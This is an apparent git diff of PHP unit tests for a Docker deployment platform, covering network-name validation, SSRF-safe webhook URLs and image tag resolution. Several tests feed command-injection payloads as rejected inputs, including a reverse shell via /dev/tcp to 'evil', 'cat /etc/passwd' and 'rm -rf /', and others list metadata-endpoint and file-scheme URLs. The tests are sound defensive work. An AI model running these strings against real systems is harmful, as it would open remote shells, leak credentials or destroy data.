$this->post('/webhooks/source/gitlab/events/manual', [], [ - 'Host' => 'gitlab.example.com', - ]); - expect($response->status())->not->toBe(400); - - // Test Stripe webhook - $response = $this->post('/webhooks/payments/stripe/events', [], [ - 'Host' => 'stripe-webhook-forwarder.local', - ]); - expect($response->status())->not->toBe(400); -}); diff --git a/tests/Unit/DockerImagePreviewTagResolutionTest.php b/tests/Unit/DockerImagePreviewTagResolutionTest.php new file mode 100644 index 000000000..e6d0b6a4e --- /dev/null +++ b/tests/Unit/DockerImagePreviewTagResolutionTest.php @@ -0,0 +1,76 @@ +newInstanceWithoutConstructor(); + + $pullRequestProperty = $reflection->getProperty('pull_request_id'); + $pullRequestProperty->setAccessible(true); + $pullRequestProperty->setValue($job, 42); + + $applicationProperty = $reflection->getProperty('application'); + $applicationProperty->setAccessible(true); + $applicationProperty->setValue($job, new Application([ + 'docker_registry_image_tag' => 'latest', + ])); + + $previewTagProperty = $reflection->getProperty('dockerImagePreviewTag'); + $previewTagProperty->setAccessible(true); + $previewTagProperty->setValue($job, 'pr_42'); + + $method = $reflection->getMethod('resolveDockerImageTag'); + $method->setAccessible(true); + + expect($method->invoke($job))->toBe('pr_42'); +}); + +it('falls back to the application docker image tag for non preview deployments', function () { + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); + $job = $reflection->newInstanceWithoutConstructor(); + + $pullRequestProperty = $reflection->getProperty('pull_request_id'); + $pullRequestProperty->setAccessible(true); + $pullRequestProperty->setValue($job, 0); + + $applicationProperty = $reflection->getProperty('application'); + $applicationProperty->setAccessible(true); + $applicationProperty->setValue($job, new Application([ + 'docker_registry_image_tag' => 'stable', + ])); + + $previewTagProperty = $reflection->getProperty('dockerImagePreviewTag'); + $previewTagProperty->setAccessible(true); + $previewTagProperty->setValue($job, 'pr_42'); + + $method = $reflection->getMethod('resolveDockerImageTag'); + $method->setAccessible(true); + + expect($method->invoke($job))->toBe('stable'); +}); + +it('falls back to latest when neither preview nor application tags are set', function () { + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); + $job = $reflection->newInstanceWithoutConstructor(); + + $pullRequestProperty = $reflection->getProperty('pull_request_id'); + $pullRequestProperty->setAccessible(true); + $pullRequestProperty->setValue($job, 7); + + $applicationProperty = $reflection->getProperty('application'); + $applicationProperty->setAccessible(true); + $applicationProperty->setValue($job, new Application([ + 'docker_registry_image_tag' => '', + ])); + + $previewTagProperty = $reflection->getProperty('dockerImagePreviewTag'); + $previewTagProperty->setAccessible(true); + $previewTagProperty->setValue($job, null); + + $method = $reflection->getMethod('resolveDockerImageTag'); + $method->setAccessible(true); + + expect($method->invoke($job))->toBe('latest'); +}); diff --git a/tests/Unit/DockerNetworkInjectionTest.php b/tests/Unit/DockerNetworkInjectionTest.php new file mode 100644 index 000000000..b3ca4ac60 --- /dev/null +++ b/tests/Unit/DockerNetworkInjectionTest.php @@ -0,0 +1,48 @@ +network = $network; +})->with([ + 'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #', + 'pipe injection' => 'net|cat /etc/passwd', + 'dollar injection' => 'net$(whoami)', + 'backtick injection' => 'net`id`', + 'space injection' => 'net work', +])->throws(InvalidArgumentException::class); + +it('StandaloneDocker accepts valid network names', function (string $network) { + $model = new StandaloneDocker; + $model->network = $network; + + expect($model->network)->toBe($network); +})->with([ + 'simple' => 'mynetwork', + 'with hyphen' => 'my-network', + 'with underscore' => 'my_network', + 'with dot' => 'my.network', + 'alphanumeric' => 'network123', +]); + +it('SwarmDocker rejects network names with shell metacharacters', function (string $network) { + $model = new SwarmDocker; + $model->network = $network; +})->with([ + 'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #', + 'pipe injection' => 'net|cat /etc/passwd', + 'dollar injection' => 'net$(whoami)', +])->throws(InvalidArgumentException::class); + +it('SwarmDocker accepts valid network names', function (string $network) { + $model = new SwarmDocker; + $model->network = $network; + + expect($model->network)->toBe($network); +})->with([ + 'simple' => 'mynetwork', + 'with hyphen' => 'my-network', + 'with underscore' => 'my_network', +]); diff --git a/tests/Unit/InsecurePrngArchTest.php b/tests/Unit/InsecurePrngArchTest.php new file mode 100644 index 000000000..3209ba0a0 --- /dev/null +++ b/tests/Unit/InsecurePrngArchTest.php @@ -0,0 +1,17 @@ +expect('App') + ->not->toUse(['mt_rand', 'mt_srand']); + +arch('app code must not use rand') + ->expect('App') + ->not->toUse(['rand', 'srand']); diff --git a/tests/Unit/SafeWebhookUrlTest.php b/tests/Unit/SafeWebhookUrlTest.php new file mode 100644 index 000000000..bb5569ccf --- /dev/null +++ b/tests/Unit/SafeWebhookUrlTest.php @@ -0,0 +1,90 @@ + $url], ['url' => $rule]); + expect($validator->passes())->toBeTrue("Expected valid: {$url}"); + } +}); + +it('accepts private network IPs for self-hosted deployments', function (string $url) { + $rule = new SafeWebhookUrl; + + $validator = Validator::make(['url' => $url], ['url' => $rule]); + expect($validator->passes())->toBeTrue("Expected valid (private IP): {$url}"); +})->with([ + '10.x range' => 'http://10.0.0.5/webhook', + '172.16.x range' => 'http://172.16.0.1:8080/hook', + '192.168.x range' => 'http://192.168.1.50:8080/webhook', +]); + +it('rejects loopback addresses', function (string $url) { + $rule = new SafeWebhookUrl; + + $validator = Validator::make(['url' => $url], ['url' => $rule]); + expect($validator->fails())->toBeTrue("Expected rejection: {$url}"); +})->with([ + 'loopback' => 'http://127.0.0.1', + 'loopback with port' => 'http://127.0.0.1:6379', + 'loopback /8 range' => 'http://127.0.0.2', + 'zero address' => 'http://0.0.0.0', +]); + +it('rejects cloud metadata IP', function () { + $rule = new SafeWebhookUrl; + + $validator = Validator::make(['url' => 'http://169.254.169.254/latest/meta-data/'], ['url' => $rule]); + expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP'); +}); + +it('rejects link-local range', function () { + $rule = new SafeWebhookUrl; + + $validator = Validator::make(['url' => 'http://169.254.0.1'], ['url' => $rule]); + expect($validator->fails())->toBeTrue('Expected rejection: link-local IP'); +}); + +it('rejects localhost and internal hostnames', function (string $url) { + $rule = new SafeWebhookUrl; + + $validator = Validator::make(['url' => $url], ['url' => $rule]); + expect($validator->fails())->toBeTrue("Expected rejection: {$url}"); +})->with([ + 'localhost' => 'http://localhost', + 'localhost with port' => 'http://localhost:8080', + '.internal domain' => 'http://myservice.internal', +]); + +it('rejects non-http schemes', function (string $value) { + $rule = new SafeWebhookUrl; + + $validator = Validator::make(['url' => $value], ['url' => $rule]); + expect($validator->fails())->toBeTrue("Expected rejection: {$value}"); +})->with([ + 'ftp scheme' => 'ftp://example.com', + 'javascript scheme' => 'javascript:alert(1)', + 'file scheme' => 'file:///etc/passwd', + 'no scheme' => 'example.com', +]); + +it('rejects IPv6 loopback', function () { + $rule = new SafeWebhookUrl; + + $validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]); + expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback'); +}); diff --git a/tests/Unit/SendWebhookJobTest.php b/tests/Unit/SendWebhookJobTest.php new file mode 100644 index 000000000..688cd3bf2 --- /dev/null +++ b/tests/Unit/SendWebhookJobTest.php @@ -0,0 +1,77 @@ + Http::response('ok', 200)]); + + $job = new SendWebhookJob( + payload: ['event' => 'test'], + webhookUrl: 'https://example.com/webhook' + ); + + $job->handle(); + + Http::assertSent(function ($request) { + return $request->url() === 'https://example.com/webhook'; + }); +}); + +it('blocks webhook to loopback address', function () { + Http::fake(); + Log::shouldReceive('warning') + ->once() + ->withArgs(function ($message) { + return str_contains($message, 'blocked unsafe webhook URL'); + }); + + $job = new SendWebhookJob( + payload: ['event' => 'test'], + webhookUrl: 'http://127.0.0.1/admin' + ); + + $job->handle(); + + Http::assertNothingSent(); +}); + +it('blocks webhook to cloud metadata endpoint', function () { + Http::fake(); + Log::shouldReceive('warning') + ->once() + ->withArgs(function ($message) { + return str_contains($message, 'blocked unsafe webhook URL'); + }); + + $job = new SendWebhookJob( + payload: ['event' => 'test'], + webhookUrl: 'http://169.254.169.254/latest/meta-data/' + ); + + $job->handle(); + + Http::assertNothingSent(); +}); + +it('blocks webhook to localhost', function () { + Http::fake(); + Log::shouldReceive('warning') + ->once() + ->withArgs(function ($message) { + return str_contains($message, 'blocked unsafe webhook URL'); + }); + + $job = new SendWebhookJob( + payload: ['event' => 'test'], + webhookUrl: 'http://localhost/internal-api' + ); + + $job->handle(); + + Http::assertNothingSent(); +}); diff --git a/tests/Unit/ServiceParserImageUpdateTest.php b/tests/Unit/ServiceParserImageUpdateTest.php index b52e0b820..526505098 100644 --- a/tests/Unit/ServiceParserImageUpdateTest.php +++ b/tests/Unit/ServiceParserImageUpdateTest.php @@ -7,22 +7,24 @@ * These tests verify the fix for the issue where changing an image in a * docker-compose file would create a new service instead of updating the existing one. */ -it('ensures service parser does not include image in firstOrCreate query', function () { +it('ensures service parser does not include image in trusted service creation query', function () { // Read the serviceParser function from parsers.php $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - // Check that firstOrCreate is called with only name and service_id - // and NOT with image parameter in the ServiceApplication presave loop + // Check that trusted creation only uses name and service_id + // and does not include image in the creation payload expect($parsersFile) - ->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);") - ->not->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);"); + ->toContain("\$databaseFound = ServiceDatabase::where('name', \$serviceName)->where('service_id', \$resource->id)->first();") + ->toContain("\$applicationFound = ServiceApplication::where('name', \$serviceName)->where('service_id', \$resource->id)->first();") + ->toContain("forceCreate([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);") + ->not->toContain("forceCreate([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);"); }); it('ensures service parser updates image after finding or creating service', function () { // Read the serviceParser function from parsers.php $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - // Check that image update logic exists after firstOrCreate + // Check that image update logic exists after the trusted create/find branch expect($parsersFile) ->toContain('// Update image if it changed') ->toContain('if ($savedService->image !== $image) {') diff --git a/tests/Unit/ValidationPatternsTest.php b/tests/Unit/ValidationPatternsTest.php index 0da8f9a4d..9ecffe46d 100644 --- a/tests/Unit/ValidationPatternsTest.php +++ b/tests/Unit/ValidationPatternsTest.php @@ -80,3 +80,53 @@ expect(mb_strlen($name))->toBeGreaterThanOrEqual(3) ->and(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1); }); + +it('accepts valid Docker network names', function (string $network) { + expect(ValidationPatterns::isValidDockerNetwork($network))->toBeTrue(); +})->with([ + 'simple name' => 'mynetwork', + 'with hyphen' => 'my-network', + 'with underscore' => 'my_network', + 'with dot' => 'my.network', + 'cuid2 format' => 'ck8s2z1x0000001mhg3f9d0g1', + 'alphanumeric' => 'network123', + 'starts with number' => '1network', + 'complex valid' => 'coolify-proxy.net_2', +]); + +it('rejects Docker network names with shell metacharacters', function (string $network) { + expect(ValidationPatterns::isValidDockerNetwork($network))->toBeFalse(); +})->with([ + 'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #', + 'pipe injection' => 'net|cat /etc/passwd', + 'dollar injection' => 'net$(whoami)', + 'backtick injection' => 'net`id`', + 'ampersand injection' => 'net&rm -rf /', + 'space' => 'net work', + 'newline' => "net\nwork", + 'starts with dot' => '.network', + 'starts with hyphen' => '-network', + 'slash' => 'net/work', + 'backslash' => 'net\\work', + 'empty string' => '', + 'single quotes' => "net'work", + 'double quotes' => 'net"work', + 'greater than' => 'net>work', + 'less than' => 'nettoContain('required') + ->toContain('string') + ->toContain('max:255') + ->toContain('regex:'.ValidationPatterns::DOCKER_NETWORK_PATTERN); +}); + +it('generates nullable dockerNetworkRules when not required', function () { + $rules = ValidationPatterns::dockerNetworkRules(required: false); + + expect($rules)->toContain('nullable') + ->not->toContain('required'); +}); diff --git a/tests/v4/Browser/DashboardTest.php b/tests/v4/Browser/DashboardTest.php index b4a97f268..233b0db9d 100644 --- a/tests/v4/Browser/DashboardTest.php +++ b/tests/v4/Browser/DashboardTest.php @@ -77,21 +77,21 @@ ], ]); - Project::create([ + Project::forceCreate([ 'uuid' => 'project-1', 'name' => 'My first project', 'description' => 'This is a test project in development', 'team_id' => 0, ]); - Project::create([ + Project::forceCreate([ 'uuid' => 'project-2', 'name' => 'Production API', 'description' => 'Backend services for production', 'team_id' => 0, ]); - Project::create([ + Project::forceCreate([ 'uuid' => 'project-3', 'name' => 'Staging Environment', 'description' => 'Staging and QA testing',